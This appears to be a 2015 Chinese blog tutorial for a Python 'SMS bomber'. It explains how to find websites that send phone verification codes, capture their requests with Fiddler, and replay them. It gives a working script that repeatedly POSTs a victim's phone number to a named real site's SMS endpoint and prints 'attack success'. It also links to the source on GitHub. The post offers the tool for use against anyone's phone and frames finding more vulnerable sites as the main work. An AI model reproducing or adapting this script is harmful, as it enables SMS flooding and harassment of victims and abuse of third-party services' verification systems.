python短信轰炸机版本smsbomb----------部分(post)

      用一些用手机号注冊且须要发送验证码的站点的漏洞。能够向不论什么人的手机号发送短信,当然短信内容,我们无法控制。所以主要工作还是寻找这种站点。然后利用Fiddler或者HttpWatch分析请求。使用post还是get,数据格式是怎么样的等。

    以http://topic.hongxiu.com/wap/为例:

然后随便填一个电话号码,进行抓包分析:


通过这个能够看出。请求方式是POST,点击webForms就能够看到发送的数据格式。

有了这些就非常easy了,核心就是向serverpost数据

import httplib,urllib,sys,os,re,urllib2
import string

def attack(phone):
    datas=""
    
    url='http://topic.hongxiu.com/wap/action.aspx'
    #请求的数据
    payload={'hidtpye':'1',
        'txtMobile':phone}
    #注意Referer不能为空
    i_headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5",  
                  "Accept": "text/plain",'Referer':'http://topic.hongxiu.com/wap/'} 
    payload=urllib.urlencode(payload)
   
    try:
        request=urllib2.Request(url,payload,i_headers)
        response=urllib2.urlopen(request)
        datas=response.read()
        print datas
        print 'attack success!!!'
    except Exception, e:
        print e
        print "attack failed!!!" 
 
if __name__=="__main__":
    phone=raw_input('input the phone:')
    attack(phone)
    
源代码地址:https://github.com/iloster/PythonScripts/blob/master/hongxiu.py





版权声明:本文博客原创文章,博客,未经同意,不得转载。

posted on 2015-07-25 15:31  gcczhongduan  阅读(2640)  评论(0编辑  收藏  举报